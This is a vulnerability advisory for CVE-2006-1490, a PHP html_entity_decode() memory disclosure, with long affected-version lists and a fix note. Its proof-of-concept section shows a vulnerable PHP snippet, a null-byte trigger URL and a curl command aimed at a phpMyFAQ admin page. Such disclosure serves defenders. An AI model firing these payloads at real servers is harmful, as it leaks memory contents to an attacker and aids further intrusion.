PHP Html_Entity_Decode() Information Disclosure Vulnerability

BID:17296

Info

PHP Html_Entity_Decode() Information Disclosure Vulnerability

Bugtraq ID: 17296
Class: Input Validation Error
CVE: CVE-2006-1490
Remote: Yes
Local: No
Published: Mar 29 2006 12:00AM
Updated: Jan 25 2007 04:19PM
Credit: Reported by Tõnu Samuel.
Vulnerable: Ubuntu Ubuntu Linux 5.10 sparc
Ubuntu Ubuntu Linux 5.10 powerpc
Ubuntu Ubuntu Linux 5.10 i386
Ubuntu Ubuntu Linux 5.10 amd64
Ubuntu Ubuntu Linux 5.0 4 powerpc
Ubuntu Ubuntu Linux 5.0 4 i386
Ubuntu Ubuntu Linux 5.0 4 amd64
Ubuntu Ubuntu Linux 6.06 LTS sparc
Ubuntu Ubuntu Linux 6.06 LTS powerpc
Ubuntu Ubuntu Linux 6.06 LTS i386
Ubuntu Ubuntu Linux 6.06 LTS amd64
Trustix Secure Linux 3.0
Trustix Secure Linux 2.2
SuSE SUSE Linux Enterprise Server 8
+ Linux kernel 2.4.21
+ Linux kernel 2.4.19
SuSE Linux Enterprise Server 9
SGI ProPack 3.0 SP6
S.u.S.E. UnitedLinux 1.0
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Professional 10.0
S.u.S.E. Linux Professional 9.3 x86_64
S.u.S.E. Linux Professional 9.3
S.u.S.E. Linux Professional 9.2 x86_64
S.u.S.E. Linux Professional 9.2
S.u.S.E. Linux Professional 9.1 x86_64
S.u.S.E. Linux Professional 9.1
S.u.S.E. Linux Personal 10.0 OSS
S.u.S.E. Linux Personal 9.3 x86_64
S.u.S.E. Linux Personal 9.3
S.u.S.E. Linux Personal 9.2 x86_64
S.u.S.E. Linux Personal 9.2
S.u.S.E. Linux Personal 9.1 x86_64
S.u.S.E. Linux Personal 9.1
S.u.S.E. Linux Enterprise Server for S/390 9.0
S.u.S.E. Linux Enterprise Server for S/390
Redhat Linux 9.0 i386
Redhat Linux 7.3 i386
Redhat Fedora Core3
Redhat Fedora Core2
Redhat Fedora Core1
Redhat Enterprise Linux WS 4
Redhat Enterprise Linux WS 3
Redhat Enterprise Linux ES 4
Redhat Enterprise Linux ES 3
Redhat Enterprise Linux AS 4
Redhat Enterprise Linux AS 3
Redhat Desktop 4.0
Redhat Desktop 3.0
phpMyFAQ phpMyFAQ 1.5.4
phpMyFAQ phpMyFAQ 1.5.3
phpMyFAQ phpMyFAQ 1.5.1
phpMyFAQ phpMyFAQ 1.5 RC5
phpMyFAQ phpMyFAQ 1.5 RC4
phpMyFAQ phpMyFAQ 1.5 RC3
phpMyFAQ phpMyFAQ 1.5 RC2
phpMyFAQ phpMyFAQ 1.5 RC1
phpMyFAQ phpMyFAQ 1.5 beta3
phpMyFAQ phpMyFAQ 1.5 beta2
phpMyFAQ phpMyFAQ 1.5 beta1
phpMyFAQ phpMyFAQ 1.5 alpha2
phpMyFAQ phpMyFAQ 1.5 alpha1
phpMyFAQ phpMyFAQ 1.5
phpMyFAQ phpMyFAQ 1.4.9
phpMyFAQ phpMyFAQ 1.4.8
phpMyFAQ phpMyFAQ 1.4.7
phpMyFAQ phpMyFAQ 1.4.6
phpMyFAQ phpMyFAQ 1.4.5
phpMyFAQ phpMyFAQ 1.4.4
phpMyFAQ phpMyFAQ 1.4.3
phpMyFAQ phpMyFAQ 1.4.2
phpMyFAQ phpMyFAQ 1.4.1
phpMyFAQ phpMyFAQ 1.4 a
phpMyFAQ phpMyFAQ 1.4 -alpha 2
phpMyFAQ phpMyFAQ 1.4 -alpha 1
phpMyFAQ phpMyFAQ 1.4
phpMyFAQ phpMyFAQ 1.3.13
phpMyFAQ phpMyFAQ 1.3.12
PHP PHP 5.1.2
+ Ubuntu Ubuntu Linux 6.06 LTS sparc
 + Ubuntu Ubuntu Linux 6.06 LTS powerpc
 + Ubuntu Ubuntu Linux 6.06 LTS i386
 + Ubuntu Ubuntu Linux 6.06 LTS amd64
 PHP PHP 5.1.1
PHP PHP 5.1
PHP PHP 5.0.5
PHP PHP 5.0.4
PHP PHP 5.0.3
PHP PHP 5.0.2
PHP PHP 5.0.1
PHP PHP 5.0 candidate 3
PHP PHP 5.0 candidate 2
PHP PHP 5.0 candidate 1
PHP PHP 5.0 .0
PHP PHP 4.4.2
PHP PHP 4.4.1
PHP PHP 4.4 .0
PHP PHP 4.3.11
PHP PHP 4.3.10
+ Gentoo Linux
+ Redhat Fedora Core3
 + Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
+ Trustix Secure Linux 1.5
PHP PHP 4.3.9
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.5
PHP PHP 4.3.4
+ MandrakeSoft Corporate Server 3.0 x86_64
 + MandrakeSoft Corporate Server 3.0
+ Mandriva Linux Mandrake 10.0 AMD64
 + Mandriva Linux Mandrake 10.0
+ S.u.S.E. Linux Personal 9.1
PHP PHP 4.3.3
+ S.u.S.E. Linux Personal 9.0 x86_64
 + S.u.S.E. Linux Personal 9.0
+ Turbolinux Home
+ Turbolinux Turbolinux 10 F...
 + Turbolinux Turbolinux Desktop 10.0
PHP PHP 4.3.2
PHP PHP 4.3.1
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
+ OpenPKG OpenPKG Current
 + S.u.S.E. Linux Personal 8.2
PHP PHP 4.3
Gentoo Linux
Avaya S8710 R2.0.1
Avaya S8710 R2.0.0
Avaya S8700 R2.0.1
Avaya S8700 R2.0.0
Avaya S8500 R2.0.1
Avaya S8500 R2.0.0
Avaya S8300 R2.0.1
Avaya S8300 R2.0.0
Avaya Messaging Storage Server MM3.0
Avaya Messaging Storage Server
Avaya Message Networking
Avaya Intuity LX
Avaya Interactive Response
Avaya Integrated Management
Avaya CVLAN
Avaya Converged Communications Server 2.0
Apple Mac OS X Server 10.4.8
Apple Mac OS X Server 10.3.9
Apple Mac OS X 10.4.8
Apple Mac OS X 10.3.9
Not Vulnerable: PHP PHP 5.1.3 -RC1

Discussion

PHP Html_Entity_Decode() Information Disclosure Vulnerability

PHP 'html_entity_decode()' function is prone to an information-disclosure vulnerability. This issue arises when a script using the function accepts data from a remote untrusted source and returns the function's result to an attacker.

Information that the attacker gathers by exploiting this vulnerability may aid in other attacks.

PHP versions prior to 5.1.3-RC1 are vulnerable to this issue.

Exploit / POC

PHP Html_Entity_Decode() Information Disclosure Vulnerability

An exploit is not required.

The following proofs of concept are available:

<?php

$foobar=html_entity_decode($_GET['foo']);
echo $foobar;

?>

Running it with url:

http://www.example.com/index.php?foo=%00sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
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curl "http://www.example.com/phpmyfaq/admin/index.php" -D - -d "faqusername=%00VERYLONGSTRINGHEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"

Solution / Fix

PHP Html_Entity_Decode() Information Disclosure Vulnerability

Solution:
Reports indicate that this issue has been addressed in PHP 5.1.3-RC1, but Symantec could not confirm this. Please contact the vendor for more information.

Please see the referenced vendor advisories for details.


S.u.S.E. Linux Professional 10.0

Trustix Secure Linux 2.2

PHP PHP 4.3.10

PHP PHP 4.3.3

PHP PHP 4.3.4

PHP PHP 4.3.9

PHP PHP 5.0.5

PHP PHP 5.1.2

S.u.S.E. Linux Professional 9.1

S.u.S.E. Linux Professional 9.3

References

PHP Html_Entity_Decode() Information Disclosure Vulnerability

References:
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